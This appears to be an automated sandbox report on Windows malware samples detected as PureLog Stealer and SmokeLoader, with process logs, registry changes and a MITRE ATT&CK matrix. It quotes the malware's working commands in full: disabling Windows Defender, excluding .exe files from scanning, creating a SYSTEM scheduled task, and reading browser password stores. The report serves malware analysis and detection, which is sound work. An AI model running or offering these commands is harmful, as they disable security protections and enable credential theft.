Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 05:30:00 /RU "SYSTEM" /TR "\"C:\Users\user~1\AppData\Local\Temp\7zSA05C.tmp\Install.exe\" it /fMDdidlBgf 385118 /S" /V1 /F
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 8028 -ip 8028
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8028 -s 356
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147735503 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147814524 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147780199 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147812831 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /c powershell start-process -windowstyle hidden gpupdate.exe /force"
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147735503 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147814524 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147780199 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147812831 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /c powershell start-process -windowstyle hidden gpupdate.exe /force"

Source: explorer.exe, 00000024.00000000.1332636125.0000000001441000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000024.00000000.1419179675.0000000009013000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000024.00000000.1346017941.0000000004880000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000024.00000000.1332636125.0000000001441000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000024.00000000.1332636125.0000000001441000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: ?Program Manager
Source: explorer.exe, 00000024.00000000.1321857063.0000000000C59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman
Source: explorer.exe, 00000024.00000000.1332636125.0000000001441000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\lgX7lgUL1w.exe

Code function: 0_2_00007FF7E3575270 cpuid

0_2_00007FF7E3575270

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: C:\Users\user\Desktop\lgX7lgUL1w.exe

Code function: 0_2_00007FF7E35D92DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF7E35D92DC

Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe

Code function: 18_2_00414B04 EntryPoint,GetVersion,GetCommandLineA,GetStartupInfoA,GetModuleHandleA,

18_2_00414B04

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Provider\Av\{D68DDC3A-831F-4fae-9E44-DA132C1ACF46} STATE

Disable Windows Defender real time protection (registry)

Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4CD858B3-107C-48BB-950A-EADAAF604C18}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions	Registry value created: Exclusions_Extensions 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4CD858B3-107C-48BB-950A-EADAAF604C18}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableAntiSpyware 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4CD858B3-107C-48BB-950A-EADAAF604C18}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableRoutinelyTakingAction 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4CD858B3-107C-48BB-950A-EADAAF604C18}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableBehaviorMonitoring 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4CD858B3-107C-48BB-950A-EADAAF604C18}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableOnAccessProtection 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4CD858B3-107C-48BB-950A-EADAAF604C18}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableScanOnRealtimeEnable 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4CD858B3-107C-48BB-950A-EADAAF604C18}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4CD858B3-107C-48BB-950A-EADAAF604C18}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4CD858B3-107C-48BB-950A-EADAAF604C18}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRawWriteNotification 1

Exclude list of file types from scheduled, custom, and real-time scanning

Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe

Registry value created: Exclusions_Extensions 1

Modifies Group Policy settings

Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Source: svchost.exe, 00000010.00000002.2551531732.000001C67CF02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Files%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 00000010.00000002.2551531732.000001C67CF02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EFC31460C619ECAE59C1BCE2C008036D94C84B8 Blob

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match

File source: C:\Users\user\Documents\SimpleAdobe\Dwkvj_9aXUK5SRV0uUMfzWFw.exe, type: DROPPED

Yara detected SmokeLoader

Source: Yara match	File source: 00000008.00000002.1710200327.0000000002E20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1731271507.0000000002F51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Source: C:\Windows\explorer.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\explorer.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\explorer.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\explorer.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\explorer.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\explorer.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\explorer.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\explorer.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\explorer.exe	Directory queried: C:\Users\user\Documents

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match

File source: C:\Users\user\Documents\SimpleAdobe\Dwkvj_9aXUK5SRV0uUMfzWFw.exe, type: DROPPED

Yara detected SmokeLoader

Source: Yara match	File source: 00000008.00000002.1710200327.0000000002E20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1731271507.0000000002F51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Scripting	1 Abuse Elevation Control Mechanism	811 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	14 File and Directory Discovery	Remote Desktop Protocol	11 Data from Local System	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Shared Modules	2 Windows Service	1 Bypass User Account Control	1 Abuse Elevation Control Mechanism	Security Account Manager	37 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	11 Scheduled Task/Job	1 Access Token Manipulation	3 Obfuscated Files or Information	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	11 Command and Scripting Interpreter	2 Registry Run Keys / Startup Folder	2 Windows Service	11 Software Packing	LSA Secrets	951 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	11 Scheduled Task/Job	RC Scripts	712 Process Injection	1 DLL Side-Loading	Cached Domain Credentials	561 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	1 PowerShell	Startup Items	11 Scheduled Task/Job	1 Bypass User Account Control	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	2 Registry Run Keys / Startup Folder	131 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Modify Registry	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	561 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Access Token Manipulation	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
